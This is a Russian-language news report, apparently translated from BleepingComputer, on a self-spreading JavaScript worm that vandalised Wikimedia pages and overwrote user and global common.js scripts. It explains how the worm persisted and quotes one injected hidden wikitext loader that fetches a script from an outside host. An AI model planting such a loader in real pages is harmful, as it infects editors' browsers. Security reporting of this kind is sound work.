Фонд Викимедиа сегодня столкнулся с инцидентом безопасности после того, как самораспространяющийся JavaScript-червь начал портить страницы и изменять пользовательские скрипты на множестве вики-проектов.
Редакторы впервые сообщили об инциденте на Технической части Деревенского зала (Village Pump) Википедии, где пользователи заметили большое количество автоматических правок, добавляющих скрытые скрипты и вандализм на случайные страницы.
Инженеры Викимедиа временно ограничили редактирование проектов, пока проводили расследование атаки и начинали отменять изменения.
JavaScript-червь
Согласно системе отслеживания задач Phabricator Фонда Викимедиа, инцидент, по всей видимости, начался после выполнения вредоносного скрипта, размещенного в русской Википедии, что привело к модификации глобального JavaScript-скрипта Википедии вредоносным кодом.
Вредоносный скрипт хранился по адресу Участник:Ololoshka562/test.js [Архив], впервые загруженного в марте 2024 года и предположительно связан со скриптами, использовавшимися в предыдущих атаках на вики-проекты.
На основе анализа истории правок, проведенного BleepingComputer, предполагается, что скрипт был впервые выполнен сегодня ранее учетной записью сотрудника Викимедиа во время тестирования функциональности пользовательских скриптов. В настоящее время неизвестно, был ли скрипт запущен намеренно, случайно загружен во время тестирования или активирован скомпрометированной учетной записью.
Обзор скрипта test.js, проведенный BleepingComputer, показывает, что он самораспространяется путем внедрения вредоносных JavaScript-загрузчиков как в common.js вошедшего в систему пользователя, так и в глобальный MediaWiki:Common.js Википедии, который используется всеми.
MediaWiki позволяет использовать как глобальные, так и специфичные для пользователя JavaScript-файлы, такие как MediaWiki:Common.js и Участник:<имя_пользователя>/common.js, которые выполняются в браузерах редакторов для настройки интерфейса вики.
После загрузки исходного скрипта test.js в браузере вошедшего в систему редактора он попытался изменить два скрипта, используя сессию и привилегии этого редактора:
- Сохранение на уровне пользователя: он пытался перезаписать User:<username>/common.js загрузчиком, который автоматически загружал бы скрипт test.js всякий раз, когда этот пользователь просматривает вики в режиме входа в систему.
- Сохранение в масштабах сайта: если у пользователя были соответствующие привилегии, он также изменял глобальный скрипт MediaWiki:Common.js, чтобы он запускался для каждого редактора, использующего глобальный скрипт.

Если глобальный скрипт был успешно изменен, любой, кто его загружал, автоматически выполнял загрузчик, который затем повторял те же шаги, включая заражение собственного common.js, как показано ниже.

Скрипт также включает функцию редактирования случайной страницы путем запроса ее через вики-команду Special:Random, а затем редактирования страницы для вставки изображения и следующего скрытого JavaScript-загрузчика.
[[File:Woodpecker10.jpg|5000px]]
<span style="display:none">
[[#%3Cscript%3E$.getScript('//basemetrika.ru/s/e41')%3C/script%3E]]
</span>По данным анализа BleepingComputer, в ходе инцидента безопасности было изменено около 3996 страниц, а файлы common.js около 85 пользователей были заменены. Неизвестно, сколько страниц было удалено.

По мере распространения червя инженеры временно ограничили редактирование проектов, одновременно отменяя вредоносные изменения и удаляя ссылки на внедренные скрипты.
В ходе очистки сотрудники Фонда Викимедиа также откатили common.js для множества пользователей на всей платформе. Эти измененные страницы теперь “подавлены” и больше не видны в истории изменений.
На момент написания статьи внедренный код был удален, и редактирование снова стало возможным.
Однако Викимедиа еще не опубликовала подробный отчет об инциденте, объясняющий, как именно был выполнен спящий скрипт и насколько широко распространился червь до того, как его удалось сдержать.
BleepingComputer связался с Викимедиа с вопросами об инциденте, но на данный момент ответа не получил.
Всегда имейте в виду, что редакции могут придерживаться предвзятых взглядов в освещении новостей.
Автор – Lawrence Abrams




